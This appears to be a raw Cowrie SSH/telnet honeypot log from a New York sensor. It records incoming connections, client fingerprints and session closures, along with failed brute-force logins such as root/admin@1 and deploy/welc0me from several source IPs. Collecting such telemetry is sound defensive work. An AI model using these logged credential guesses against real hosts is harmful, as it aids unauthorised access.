{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:54.083954Z","src_ip":"165.154.36.71","session":"c73fecf33150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"password","message":"login attempt [user3/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:54.397202Z","src_ip":"165.154.36.71","session":"c73fecf33150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:55.471639Z","src_ip":"165.154.36.71","session":"c73fecf33150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.347543239593506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:02:04.994307Z","src_ip":"176.65.149.254","session":"a21523a70902","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":61.7568564414978,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:02:48.077043Z","src_ip":"212.55.149.117","session":"4beec9f86db1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":7942,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3d8cbc96c38","protocol":"ssh","message":"New connection: 2.57.121.25:7942 (10.17.0.5:22) [session: f3d8cbc96c38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:02:54.771554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:02:54.777321Z","src_ip":"2.57.121.25","session":"f3d8cbc96c38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:02:54.878101Z","src_ip":"2.57.121.25","session":"f3d8cbc96c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"190190","message":"login attempt [user/190190] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:02:55.357183Z","src_ip":"2.57.121.25","session":"f3d8cbc96c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19011994","message":"login attempt [user/19011994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:02:56.461756Z","src_ip":"2.57.121.25","session":"f3d8cbc96c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18091981","message":"login attempt [user/18091981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:02:57.569205Z","src_ip":"2.57.121.25","session":"f3d8cbc96c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"18081991","message":"login attempt [user/18081991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:02:58.673947Z","src_ip":"2.57.121.25","session":"f3d8cbc96c38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"180784","message":"login attempt [user/180784] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:02:59.779407Z","src_ip":"2.57.121.25","session":"f3d8cbc96c38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":32126,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d2212a92f7f","protocol":"ssh","message":"New connection: 165.154.36.71:32126 (159.203.135.109:22) [session: 4d2212a92f7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:03:00.404843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:03:00.409814Z","src_ip":"165.154.36.71","session":"4d2212a92f7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:03:00.481195Z","src_ip":"165.154.36.71","session":"4d2212a92f7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali@44","message":"login attempt [ali/ali@44] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:03:00.814786Z","src_ip":"165.154.36.71","session":"4d2212a92f7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:03:00.883539Z","src_ip":"2.57.121.25","session":"f3d8cbc96c38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:03:01.897605Z","src_ip":"165.154.36.71","session":"4d2212a92f7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:03:08.185270Z","src_ip":"171.15.131.165","session":"d89849d13d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":35311,"dst_ip":"10.17.0.5","dst_port":23,"session":"524af05b9087","protocol":"telnet","message":"New connection: 212.55.149.117:35311 (10.17.0.5:23) [session: 524af05b9087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:03:09.427292Z"}
{"eventid":"cowrie.session.closed","duration":"170.6","message":"Connection lost after 170.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:03:14.636654Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":50782,"dst_ip":"159.203.135.109","dst_port":22,"session":"111549851483","protocol":"ssh","message":"New connection: 165.154.36.71:50782 (159.203.135.109:22) [session: 111549851483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:04:06.976933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:04:06.981634Z","src_ip":"165.154.36.71","session":"111549851483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:04:07.052635Z","src_ip":"165.154.36.71","session":"111549851483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1","message":"login attempt [root/admin@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:04:07.362730Z","src_ip":"165.154.36.71","session":"111549851483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:04:08.437463Z","src_ip":"165.154.36.71","session":"111549851483","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01039171218872,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:05:09.437577Z","src_ip":"212.55.149.117","session":"524af05b9087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":14438,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e6601678316","protocol":"ssh","message":"New connection: 165.154.36.71:14438 (159.203.135.109:22) [session: 1e6601678316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:05:14.193714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:05:14.198816Z","src_ip":"165.154.36.71","session":"1e6601678316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:05:14.275970Z","src_ip":"165.154.36.71","session":"1e6601678316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test7","password":"test7","message":"login attempt [test7/test7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:05:14.606820Z","src_ip":"165.154.36.71","session":"1e6601678316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:05:15.687573Z","src_ip":"165.154.36.71","session":"1e6601678316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":27646,"dst_ip":"10.17.0.5","dst_port":23,"session":"93499d6afaad","protocol":"telnet","message":"New connection: 212.55.149.117:27646 (10.17.0.5:23) [session: 93499d6afaad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:05:17.320912Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.246.111.205","src_port":57492,"dst_ip":"159.203.135.109","dst_port":23,"session":"2569eca18af4","protocol":"telnet","message":"New connection: 162.246.111.205:57492 (159.203.135.109:23) [session: 2569eca18af4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:05:31.314954Z"}
{"eventid":"cowrie.session.closed","duration":13.418901205062866,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:05:44.733730Z","src_ip":"162.246.111.205","session":"2569eca18af4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":33098,"dst_ip":"159.203.135.109","dst_port":22,"session":"13c4dd317658","protocol":"ssh","message":"New connection: 165.154.36.71:33098 (159.203.135.109:22) [session: 13c4dd317658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:22.311353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:22.320648Z","src_ip":"165.154.36.71","session":"13c4dd317658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:22.389390Z","src_ip":"165.154.36.71","session":"13c4dd317658","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"welc0me","message":"login attempt [deploy/welc0me] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:22.687639Z","src_ip":"165.154.36.71","session":"13c4dd317658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:23.762977Z","src_ip":"165.154.36.71","session":"13c4dd317658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.40043878555298,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:24.721217Z","src_ip":"212.55.149.117","session":"93499d6afaad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":20556,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c7c9cb37f1c","protocol":"telnet","message":"New connection: 212.55.149.117:20556 (10.17.0.5:23) [session: 8c7c9cb37f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:25.226450Z"}
{"eventid":"cowrie.session.connect","src_ip":"184.154.78.51","src_port":33294,"dst_ip":"10.17.0.5","dst_port":22,"session":"c906a3fbfde9","protocol":"ssh","message":"New connection: 184.154.78.51:33294 (10.17.0.5:22) [session: c906a3fbfde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.395721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.400349Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:06:38.427804Z","src_ip":"184.154.78.51","session":"c906a3fbfde9","protocol":"ssh"}
